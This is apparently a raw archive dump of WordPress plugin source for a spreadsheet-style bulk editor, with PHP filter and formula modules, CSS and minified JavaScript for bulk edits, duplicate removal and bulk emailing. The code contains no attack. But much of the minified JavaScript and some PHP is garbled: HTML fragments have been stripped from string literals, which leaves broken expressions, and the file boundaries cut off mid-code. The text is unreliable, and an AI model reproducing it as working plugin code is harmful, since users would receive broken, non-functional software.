{ $post_id_include = $editor->provider->get_item_ids_by_keyword( $filters['keyword'], $query_args['post_type'], 'LIKE' ); $query_args['post__in'] = ( empty( $post_id_include ) ) ? array( time() * 2 ) : $post_id_include; } } } return $query_args; } /** * Render filters modal html * @param string $current_post_type */ function render_filters_form( $current_post_type ) { $fields = array( 'keyword' => array( 'label' => __( 'Contains keyword', 'vg_sheet_editor' ), 'description' => __( 'It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)' ), ), ); if ( VGSE()->helpers->get_current_provider()->is_post_type ) { $fields = array_merge( $fields, array( 'post_status' => array( 'label' => __( 'Status', 'vg_sheet_editor' ), 'description' => '', ), ) ); if ( WP_Sheet_Editor_Helpers::current_user_can( 'edit_others_posts' ) ) { $fields['post_author'] = array( 'label' => __( 'Author', 'vg_sheet_editor' ), 'description' => '', ); } } $filters = apply_filters( 'vg_sheet_editor/filters/allowed_fields', $fields, $current_post_type ); ?>

    init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } add_action( 'vg_sheet_editor/initialized', 'vgse_filters_init' ); function vgse_filters_init() { return WP_Sheet_Editor_Filters::get_instance(); } } modules/formulas/assets/css/styles.css000064400000001163147600365160014204 0ustar00.formula-builder .action-fields .relationship:first-child, .formula-builder .action-fields .relationship-and { display: none; } .formula-builder label { display: block; } .formula-builder input,.formula-builder select, .formula-builder textarea { display: block; margin: 8px auto; width: 53%; } .formula-builder textarea { height: 27px; } /*Simplify formulas modal*/ .modal-formula ul.vgse-simple-tabs, .modal-formula .formula-field, .modal-formula .formula-textarea { display: none; } .formula-builder .action-title,.formula-builder .action-description { margin: 0; }modules/formulas/assets/js/init.js000064400000052131147600365160013275 0ustar00function vgseAddField(e,t){return e.append('
    <'+t.tag+">
    "),$field=e.find(".vg-field").last(),"select"===t.tag&&t.options&&$field.find(t.tag).append(t.options),void 0!==t.html_attrs[""]&&delete t.html_attrs[""],$field.find(t.tag).attr(t.html_attrs),t.tooltip&&t.label&&(t.label+=' ( ? )'),t.label&&"a"!==t.tag&&$field.prepend(""),t.label&&"a"===t.tag&&$field.find(t.tag).text(t.label),t.description&&$field.append("

    "+t.description+"

    "),"a"===t.tag&&$field.append(''),$field}function vgseGenerateMathFormula(e){return!!e.firstFieldValue&&'=MATH("'+e.firstFieldValue+'")'}function vgseGenerateDecreasePercentageFormula(e){return!!e.firstFieldValue&&'=MATH("$current_value$ - (($current_value$ * '+parseFloat(e.firstFieldValue)+') / 100)")'}function vgseGenerateIncreasePercentageFormula(e){return!!e.firstFieldValue&&'=MATH("$current_value$ + (($current_value$ * '+parseFloat(e.firstFieldValue)+') / 100)")'}function vgseGenerateDecreaseFormula(e){return!!e.firstFieldValue&&'=MATH("$current_value$ - '+e.firstFieldValue+'")'}function vgseGenerateIncreaseFormula(e){return!!e.firstFieldValue&&'=MATH("$current_value$ + '+e.firstFieldValue+'")'}function vgseGenerateSetValueFormula(e){if(e.actionSettings.fields_relationship||(e.actionSettings.fields_relationship="AND"),"or"===e.actionSettings.fields_relationship.toLowerCase()&&1 select").on("change",function(e){var t=jQuery(this).val(),a=y.find(".column-selector select"),l=!1;t&&"object"==typeof t&&t.forEach(function(e){if(e&&!l)return l=e,!0}),l?a.val(l):a.val(""),a.trigger("change")}),jQuery(".modal-formula form").on("submit",function(){if(y.find('[name="schedule_for_later"]').prop("checked"))return!0;if(!y.find(".wpse-select-rows-options").val())return!1;var e=vgseGetSelectedRowsCount(y);if("selected"===y.find(".wpse-select-rows-options").val())var o=vgseGetSelectedIds();if("previously_selected"===y.find(".wpse-select-rows-options").val())o=window.wpsePreviouslySelectedIds||[];if(void 0!==o&&(e=o.length)){var i=beGetRowsFilters();beAddRowsFilter("post__in="+o.join(","))}if(!vgseGetSelectedRowsCount(y))return alert(vgse_editor_settings.texts.no_rows_for_formula),!1;if(beGetModifiedItems().length&&!confirm(vgse_editor_settings.texts.save_changes_before_we_reload))return!1;if("function"==typeof beGetRowsFilters&&y.find('input[name="filters_found_rows"]').val(e),!b.val())return alert(vgse_formulas_data.texts.formula_required),!1;y.hide(),w.show();var t=y.find('[name="nonce"]').val(),r=y.find('[name="filters_found_rows"]').val(),a=b.val(),l=y.find('[name="post_type"]').val(),n=jQuery(".be-response");w.find(".speed-tip").hide(),w.find(".edit-running").show(),w.find(".pause-formula-execution").show(),w.find("#be-formulas-nanobar-container").remove(),n.before('
    ');var s={classname:"be-progress-bar",target:document.getElementById("be-formulas-nanobar-container")},d=0,u=y.find(".multiple-column-selector > select option:selected"),c=[];u.each(function(){jQuery(this).val()&&c.push({label:jQuery(this).text(),key:jQuery(this).val()})});c[0].key;1"+e.data.message+"

    "),n.scrollTop(n[0].scrollHeight),f.go(100),w.find("#be-formulas-nanobar-container").remove(),w.find(".remodal-cancel").show(),!1;p.processed+=e.data.processed,p.updated+=e.data.updated,p.total||(p.total+=e.data.total),t.totalCalls=h;var a=e.data.force_complete?100:parseInt(t.current/t.totalCalls*100);if(a<1&&(a=1),e.data.message=e.data.message.replace("{total}",p.total),e.data.message=e.data.message.replace("{progress_percentage}",a),e.data.message=e.data.message.replace("{edited}",p.updated),e.data.message=e.data.message.replace("{column_label}",c[d].label),n.find(".success-message").each(function(){jQuery(this).data("column-key")===t.data.column&&jQuery(this).remove()}),n.find(".complete-message").remove(),n.append(e.data.message),n.scrollTop(n[0].scrollHeight),e.data.force_complete){if(1 Pause'),w.find(".be-response").empty(),!1}),jQuery(".pause-formula-execution").on("click",function(e){e.preventDefault();var t=jQuery(this);"pause"===t.data("action")?(t.data("action","play").addClass("button-primary").removeClass("button-secondary").html(' Resume'),window.beFormulaLoop.pause()):(t.data("action","pause").addClass("button-secondary").removeClass("button-primary").html(' Pause'),window.beFormulaLoop.resume())}),jQuery(".go-back-formula-execution").on("click",function(e){e.preventDefault(),y.show(),w.hide(),jQuery(".pause-formula-execution").data("action","play").addClass("button-primary").removeClass("button-secondary").html(' Resume'),window.beFormulaLoop.pause()});var e=jQuery(".formula-builder"),u=jQuery(".column-selector select"),i=vgseAddField(e,{tag:"select",label:vgse_formulas_data.texts.action_select_label,html_attrs:{name:"action_name",class:"action_name",id:"action_name"},options:'"});e.append('
    ');var c=e.find(".builder-fields");jQuery.each(vgse_formulas_data.columns_actions,function(e,t){if("default"===t)t=vgse_formulas_data.default_actions;else{var a={};jQuery.each(t,function(e,t){t="default"===t?vgse_formulas_data.default_actions[e]:jQuery.extend({},vgse_formulas_data.default_actions[e],t),a[e]=t}),t=a}vgse_formulas_data.columns_actions[e]=t}),u.on("change",function(e){var t=jQuery(this),l=t.val(),a=t.find("option:selected").data("value-type"),o=vgse_editor_settings.final_spreadsheet_columns_settings[l];columnFields=vgse_formulas_data.columns_actions[a],columnFields||(u.find("option:selected").data("value-type","text"),columnFields=vgse_formulas_data.columns_actions.text),i.find("select option:not(.placeholder)").remove(),c.empty(),jQuery.each(columnFields,function(e,t){if(o&&o.supported_formula_types&&o.supported_formula_types.length&&o.supported_formula_types.indexOf(e)<0)return!0;var a=void 0===t.allowed_column_keys||!t.allowed_column_keys||-1'+t.label+"")})}),i.find("select").on("change",function(e){var t=jQuery(this),a=t.val();if(!a)return!0;var l=u.find("option:selected").data("value-type"),o=vgse_formulas_data.columns_actions[l][a],i=o.input_fields;c.empty(),c.attr("data-column-key",u.val()),o.description&&(o.description=o.description.replace("%target_column%",u.val()),c.append('

    '+o.description+"

    ")),c.append('
    ');var r=c.find(".action-fields"),n={tag:"",label:"",description:"",html_attrs:{class:"formula-parameter-field",type:"text"}};jQuery.each(i,function(e,t){t=jQuery.extend(n,t),o.fields_relationship||(o.fields_relationship="AND"),void 0!==t.html_attrs&&void 0!==t.html_attrs.name&&t.html_attrs.name||(t.html_attrs.name="formula_data[]");var a=JSON.stringify(t.html_attrs);a=a.replace(/\{column_key\}/g,u.val()),t.html_attrs=JSON.parse(a),r.append(''+o.fields_relationship+""),vgseAddField(r,t)}),r.find(".select2")&&"function"==typeof vgseInitSelect2&&vgseInitSelect2();var s="formula-send-email-editor";"send_email"===t.val()?(wp.editor.initialize(s,{tinymce:{wpautop:!0,plugins:"charmap colorpicker compat3x directionality fullscreen hr image lists media paste tabfocus textcolor wordpress wpautoresize wpdialogs wpeditimage wpemoji wpgallery wplink wptextpattern wpview",toolbar1:"bold italic underline strikethrough | bullist numlist | blockquote hr wp_more | alignleft aligncenter alignright | link unlink | fullscreen | wp_adv",toolbar2:"formatselect alignjustify forecolor | pastetext removeformat charmap | outdent indent | undo redo | wp_help"},quicktags:{buttons:"strong,em,link,ul,li,code"},mediaButtons:!0}),window.vgseFormulaSendEmailEditorLoaded=!0):window.vgseFormulaSendEmailEditorLoaded&&(wp.editor.remove(s),window.vgseFormulaSendEmailEditorLoaded=!1),r.find("input,textarea").each(function(){vgseInputToFormattedColumnField(u.val(),$field.parent(),".formula-parameter-field")});var d=r.find("input,select,textarea");d.on("change",function(e){var t=u.val(),a=vgse_editor_settings.final_spreadsheet_columns_settings[t],l=vgseExecuteFunctionByName(o.jsCallback,window,{changedField:jQuery(this),actionFields:d,actionSettings:o,firstField:d.first(),firstFieldValue:d.first().val(),columnSettings:a});l=l||"",b.val(l)}),d.first().trigger("change"),jQuery(".modal-formula .rows-to-be-updated-total span").text(vgseGetSelectedRowsCount(y))}),jQuery("body").on("click",".wp-media.button",function(e){loading_ajax({estado:!0});var t=jQuery(this),o=t.parent().find("input"),a=t.data("multiple"),i=jQuery("body").scrollLeft(),r=[],l=jQuery(document).scrollTop(),n=jQuery("#infinito").prop("checked");jQuery("#infinito").prop("checked",!1),media_uploader=wp.media({frame:"post",state:"insert",multiple:a}),media_uploader.state("embed").on("select",function(){var e=media_uploader.state(),t=e.get("type"),a=e.props.toJSON();a.url=a.url||"","image"===t&&a.url&&(o.val(a.url).trigger("change"),o.after('
    '),o.next(".selected-files").append(''))}),media_uploader.on("close",function(){jQuery("body").scrollLeft(i),jQuery(window).scrollTop(l),jQuery("#infinito").prop("checked",n)}),media_uploader.on("insert",function(){jQuery("body").scrollLeft(i);var e=media_uploader.state().get("selection"),t=e.length,a=e.models;if(!a.length)return!0;o.after('
    ');for(var l=0;l');o.val(r).trigger("change")}),media_uploader.open(),loading_ajax({estado:!1})})}),jQuery(document).ready(function(){jQuery("body").on("mousedown","th .bulk-selector",function(e){jQuery("th .bulk-selector").data("value-before-click",jQuery(this).prop("checked"))}),jQuery("body").on("click","th .bulk-selector",function(e){for(var t=jQuery(this),a=jQuery("th .bulk-selector"),l=!t.data("value-before-click"),o=hot.countRows()-1,i=[],r=0;r<=o;r++)i.push([r,0,l]);if(hot.setDataAtCell(i),jQuery("th .bulk-selector").prop("checked",l),a.data("value-before-click",l),l){if(!window.wpseDontOpenBulkEditOnSelectAll)jQuery('[data-remodal-id="modal-formula"]').remodal().open();var n=vgse_editor_settings.enable_pagination?"selected":"current_search";jQuery(".modal-formula .wpse-select-rows-options").val(n).trigger("change")}}),jQuery(document).on("opened",".modal-formula",function(){vgseGetSelectedIds().length&&!jQuery("th .bulk-selector").prop("checked")&&jQuery(".modal-formula .wpse-select-rows-options").val("selected").trigger("change"),jQuery(".modal-formula .rows-to-be-updated-total span").text(vgseGetSelectedRowsCount(jQuery(".modal-formula")))})}),jQuery(document).ready(function(){jQuery(".quick-bulk-action").on("click",function(){var t=jQuery(this).data("action"),e=jQuery(".modal-formula");t.allow_to_select_column||e.find(".multiple-column-selector").hide(),t.columns&&(e.find(".multiple-column-selector select").val(""),e.find(".multiple-column-selector select option").filter(function(){return-1 array( 'type' => 'checkbox', 'columnSorting' => false, 'checkedTemplate' => true, 'uncheckedTemplate' => false, 'data' => 'wpseBulkSelector', ), ); $args['columnsUnformat'] = array_merge( $new_columns, $args['columnsUnformat'] ); $args['columnsFormat'] = array_merge( $new_columns, $args['columnsFormat'] ); $args['startCols']++; $args['colWidths'] = array_merge( array( 'wpseBulkSelector' => 40 ), $args['colWidths'] ); $args['colHeaders'] = array_merge( array( 'wpseBulkSelector' => '' ), $args['colHeaders'] ); if ( ! empty( $args['custom_handsontable_args'] ) ) { $args['custom_handsontable_args'] = json_decode( $args['custom_handsontable_args'], true ); } if ( is_array( $args['custom_handsontable_args'] ) ) { if ( ! empty( $args['custom_handsontable_args']['fixedColumnsLeft'] ) ) { $args['custom_handsontable_args']['fixedColumnsLeft']++; } $args['custom_handsontable_args'] = json_encode( $args['custom_handsontable_args'] ); } return $args; } /** * Render formulas modal html */ function render_formulas_form( $current_post_type ) { $nonce = wp_create_nonce( 'bep-nonce' ); $extension = VGSE()->helpers->get_extension_by_post_type( $current_post_type ); $tutorials_url = 'https://wpsheeteditor.com/blog/?utm_source=' . $current_post_type . '&utm_medium=pro-plugin&utm_campaign=formulas-top-help'; $tutorials_url .= ( ! empty( $extension['extension_id'] ) ) ? '&vg_tax%5Bplugin%5D=' . (int) $extension['extension_id'] : ''; if ( VGSE()->helpers->user_can_manage_options() ) { // Used by the send_email action wp_enqueue_editor(); } ?> args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'run_formula', array( 'type' => 'button', 'allow_in_frontend' => true, // Removed tooltip because there's no position that works well // Top: it displays it below on top of the dropdown when the header is fixed // At the sides, it hides the other toolbar items // 'help_tooltip' => __('Edit thousands of rows at once', 'vg_sheet_editor' ), 'content' => __( 'Bulk Edit', 'vg_sheet_editor' ), 'icon' => 'fa fa-terminal', 'extra_html_attributes' => 'data-remodal-target="modal-formula"', 'footer_callback' => array( $this, 'render_formulas_form' ), 'css_class' => 'wpse-disable-if-unsaved-changes', ), $post_type ); $quick_actions = array( 'edit' => array( 'label' => __( 'Edit', 'vg_sheet_editor' ), 'columns' => null, 'allow_to_select_column' => true, 'type_of_edit' => null, 'values' => array(), 'wp_handler' => false, ), 'delete' => array( 'label' => __( 'Delete', 'vg_sheet_editor' ), 'columns' => array( 'post_status', 'comment_approved', 'wpse_status' ), 'allow_to_select_column' => false, 'type_of_edit' => 'set_value', 'values' => array( 'delete' ), 'wp_handler' => false, ), ); if ( $editor->provider->is_post_type ) { $quick_actions['remove_duplicates_by_title_latest'] = array( 'label' => __( 'Remove duplicates by title (delete the latest)', 'vg_sheet_editor' ), 'columns' => array( 'post_title' ), 'allow_to_select_column' => false, 'type_of_edit' => 'remove_duplicates', 'values' => array( 'delete_latest' ), 'wp_handler' => false, ); $quick_actions['remove_duplicates_by_title_oldest'] = array( 'label' => __( 'Remove duplicates by title (delete the oldest)', 'vg_sheet_editor' ), 'columns' => array( 'post_title' ), 'allow_to_select_column' => false, 'type_of_edit' => 'remove_duplicates', 'values' => array( 'delete_oldest' ), 'wp_handler' => false, ); $quick_actions['remove_duplicates_by_title_content_latest'] = array( 'label' => __( 'Remove duplicates with same title and content (delete the latest)', 'vg_sheet_editor' ), 'columns' => array( 'post_title' ), 'allow_to_select_column' => false, 'type_of_edit' => 'remove_duplicates_title_content', 'values' => array( 'delete_latest' ), 'wp_handler' => false, ); $quick_actions['remove_duplicates_by_title_content_oldest'] = array( 'label' => __( 'Remove duplicates with same title and content (delete the oldest)', 'vg_sheet_editor' ), 'columns' => array( 'post_title' ), 'allow_to_select_column' => false, 'type_of_edit' => 'remove_duplicates_title_content', 'values' => array( 'delete_oldest' ), 'wp_handler' => false, ); } // We could add support for bulk actions registered for the wp tables // but some of them require JS for custom handling and they would be broken // so we will enable specific actions through extensions as needed /* $actions_from_wp_list = apply_filters('bulk_actions-edit-' . $post_type, array()); foreach ($actions_from_wp_list as $bulk_action => $label) { $quick_actions[$bulk_action] = array( 'label' => sprintf(__('%s (third party)', 'vg_sheet_editor' ), $label), 'columns' => array(), 'allow_to_select_column' => false, 'type_of_edit' => null, 'values' => array(), 'wp_handler' => true, ); } */ $quick_actions = apply_filters( 'vg_sheet_editor/formulas/quick_actions', $quick_actions, $post_type, $editor ); $quick_actions['more'] = array( 'label' => __( 'More options', 'vg_sheet_editor' ), 'columns' => null, 'allow_to_select_column' => true, 'type_of_edit' => null, 'values' => array(), 'wp_handler' => false, ); $action_links = array(); foreach ( $quick_actions as $bulk_action => $action ) { $action_links[] = '
    '; } if ( ! empty( $action_links ) ) { $editor->args['toolbars']->register_item( 'quick_bulk_edits', array( 'type' => 'html', 'content' => implode( '', $action_links ), 'allow_in_frontend' => true, 'parent' => 'run_formula', ), $post_type ); } } } /** * Register frontend assets */ function register_assets() { wp_enqueue_style( 'formulas_css', vgse_formulas_init()->plugin_url . 'assets/css/styles.css', '', VGSE()->version, 'all' ); wp_enqueue_script( 'formulas_js', vgse_formulas_init()->plugin_url . 'assets/js/init.js', array(), VGSE()->version, false ); $formulas_data = $this->get_formulas_data(); wp_localize_script( 'formulas_js', 'vgse_formulas_data', $formulas_data ); } /** * Register frontend assets */ function get_formulas_data() { $current_post = VGSE()->helpers->get_provider_from_query_string(); $remove_duplicates_meta_keys = array_filter( array_map( 'trim', explode( ',', VGSE()->get_option( 'allow_formula_remove_duplicates_meta_keys', '' ) ) ) ); $formulas_data = array( 'texts' => array( 'formula_required' => __( 'The bulk edit is missing important information, please fill the form.', 'vg_sheet_editor' ), 'action_select_label' => __( 'Select type of edit', 'vg_sheet_editor' ), 'action_select_placeholder' => __( '- -', 'vg_sheet_editor' ), 'wrong_formula' => __( 'You entered an invalid formula. Please double check or contact us.', 'vg_sheet_editor' ), ), 'default_actions' => array( 'remove_terms' => array( 'label' => __( 'Remove terms from posts', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Enter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategories', 'vg_sheet_editor' ), VGSE()->helpers->get_term_separator() ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateSetValueFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'select', 'html_attrs' => array( 'data-placeholder' => '--', 'data-tags' => true, 'multiple' => 'multiple', 'class' => 'select2', 'data-remote' => 'true', 'data-action' => 'vgse_get_taxonomy_terms', 'data-extra_ajax_parameters' => '{"taxonomy_key": "{column_key}"}', ), ), ), ), 'add_time' => array( 'label' => __( 'Add time to existing dates', 'vg_sheet_editor' ), 'description' => __( 'Add hours, days, weeks, months, or years to the existing dates.
    If the existing date is empty, we will use the current date as a base.', 'vg_sheet_editor' ), 'jsCallback' => 'vgseGenerateReplaceFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'fields_relationship' => 'AND', 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', ), 'label' => __( 'Number', 'vg_sheet_editor' ), ), array( 'tag' => 'select', 'html_attrs' => array( 'multiple' => false, ), 'options' => '', 'label' => __( 'Time unit', 'vg_sheet_editor' ), ), ), ), 'reduce_time' => array( 'label' => __( 'Deduct time from existing dates', 'vg_sheet_editor' ), 'description' => __( 'Deduct a number of hours, days, weeks, months, or years to the existing dates.
    If the existing date is empty, we will use the current date as a base.', 'vg_sheet_editor' ), 'jsCallback' => 'vgseGenerateReplaceFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'fields_relationship' => 'AND', 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', ), 'label' => __( 'Number', 'vg_sheet_editor' ), ), array( 'tag' => 'select', 'html_attrs' => array( 'multiple' => false, ), 'options' => '', 'label' => __( 'Time unit', 'vg_sheet_editor' ), ), ), ), 'math' => array( 'label' => __( 'Math operation', 'vg_sheet_editor' ), 'description' => __( 'Update existing value with the result of a math operation.
    The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateMathFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', ), 'label' => __( 'Math formula', 'vg_sheet_editor' ), 'description' => __( 'Example 1: $current_value$ + 2 * 5.
    Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)', 'vg_sheet_editor' ), // tooltip is an allowed parameter here ), ), ), 'decrease_by_percentage' => array( 'label' => __( 'Decrease by percentage', 'vg_sheet_editor' ), 'description' => __( 'Decrease the existing value by a percentage.
    The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateDecreasePercentageFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '0.01', ), 'label' => __( 'Decrease by', 'vg_sheet_editor' ), 'description' => __( 'Enter the percentage number.', 'vg_sheet_editor' ), ), ), ), 'decrease_by_number' => array( 'label' => __( 'Decrease by number', 'vg_sheet_editor' ), 'description' => __( 'Decrease the existing value by a number.
    The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateDecreaseFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '0.01', ), 'label' => __( 'Decrease by', 'vg_sheet_editor' ), 'description' => __( 'Enter the number.', 'vg_sheet_editor' ), ), ), ), 'increase_by_percentage' => array( 'label' => __( 'Increase by percentage', 'vg_sheet_editor' ), 'description' => __( 'Increase the existing value by a percentage.
    The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateIncreasePercentageFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '0.01', ), 'label' => __( 'Increase by', 'vg_sheet_editor' ), 'description' => __( 'Enter the percentage number.', 'vg_sheet_editor' ), ), ), ), 'increase_by_number' => array( 'label' => __( 'Increase by number', 'vg_sheet_editor' ), 'description' => __( 'Increase the existing value by a number.
    The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateIncreaseFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '0.01', ), 'label' => __( 'Increase by', 'vg_sheet_editor' ), 'description' => __( 'Enter the number.', 'vg_sheet_editor' ), ), ), ), 'set_value' => array( 'label' => __( 'Set value', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Replace existing value with this value. Read more', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateSetValueFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'textarea', ), ), ), 'set_random_value' => array( 'label' => __( 'Set random value', 'vg_sheet_editor' ), 'description' => __( 'Replace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that range', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateSetRandomValueFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'textarea', // We need to set html_attrs so the JS won't add the class and add formatting to this field 'html_attrs' => array( '' => '', ), ), ), ), 'remove_everything_after' => array( 'label' => __( 'Remove everything after some text', 'vg_sheet_editor' ), 'description' => sprintf( __( 'I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateExcerptFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'label' => __( 'Remove everything after this text', 'vg_sheet_editor' ), ), array( 'label' => __( 'Remove the text too?', 'vg_sheet_editor' ), 'tag' => 'select', 'options' => '' . '', ), ), ), 'remove_everything_before' => array( 'label' => __( 'Remove everything before some text', 'vg_sheet_editor' ), 'description' => sprintf( __( 'I.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateExcerptFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'label' => __( 'Remove everything before this', 'vg_sheet_editor' ), ), array( 'label' => __( 'Remove the text from above too?', 'vg_sheet_editor' ), 'tag' => 'select', 'options' => '' . '', ), ), ), 'replace' => array( 'label' => __( 'Replace', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Replace a word, phrase, or number with a new value. Read more', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateReplaceFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'textarea', 'label' => __( 'Replace this', 'vg_sheet_editor' ), ), array( 'tag' => 'textarea', 'label' => __( 'With this', 'vg_sheet_editor' ), ), ), ), 'generate_excerpt' => array( 'label' => __( 'Generate excerpt', 'vg_sheet_editor' ), 'description' => sprintf( __( 'If the column has a very long text, we will remove the html and shorten it to a number of words.', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateExcerptFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '1', 'min' => 1, ), 'label' => __( 'Maximum number of words', 'vg_sheet_editor' ), 'description' => __( 'Enter the number.', 'vg_sheet_editor' ), ), ), ), 'capitalize_words' => array( 'label' => __( 'Capitalize words', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Capitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateCapitalizeWordsFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( // We hide the input because we dont need user input // and the JS requires at least one html input to generate the formula 'style' => 'display: none;', ), ), ), ), 'clear_value' => array( 'label' => __( 'Clear value', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Remove the existing value and leave the field empty. Read more', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateClearValueFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( // We hide the input because we dont need user input // and the JS requires at least one html input to generate the formula 'style' => 'display: none;', ), ), ), ), 'remove_duplicates' => array( 'label' => __( 'Remove duplicates', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Read more', 'vg_sheet_editor' ), 'https://wpsheeteditor.com/blog/?s=duplicate' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateClearValueFormula', 'allowed_column_keys' => array_merge( $remove_duplicates_meta_keys, array( 'post_title', 'post_author', 'post_content', 'post_date', 'post_excerpt', '_sku' ) ), 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'label' => __( 'Which duplicates do you want to delete?', 'vg_sheet_editor' ), 'tag' => 'select', 'options' => '' . '', ), ), ), 'remove_duplicates_title_content' => array( 'label' => __( 'Remove duplicates with same title and content', 'vg_sheet_editor' ), 'description' => sprintf( __( 'Read more', 'vg_sheet_editor' ), 'https://wpsheeteditor.com/blog/?s=duplicate' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateClearValueFormula', 'allowed_column_keys' => array( 'post_title', 'post_content' ), 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'label' => __( 'Which duplicates do you want to delete?', 'vg_sheet_editor' ), 'tag' => 'select', 'options' => '' . '', ), ), ), 'append' => array( 'label' => __( 'Append', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateAppendFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'textarea', 'label' => __( 'Enter the value to append to the existing value.', 'vg_sheet_editor' ), ), ), ), 'prepend' => array( 'label' => __( 'Prepend', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGeneratePrependFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', ), 'label' => __( 'Enter the value to prepend to the existing value.', 'vg_sheet_editor' ), ), ), ), 'custom' => array( 'label' => __( 'Custom formula', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateCustomFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', ), 'label' => sprintf( __( 'Only for advanced users. Read more.', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), ), ), ), 'send_email' => array( 'label' => __( 'Send email', 'vg_sheet_editor' ), 'description' => __( '

    Send email notifications to users in bulk, and create advanced segments using the advanced search.

    For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

    We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

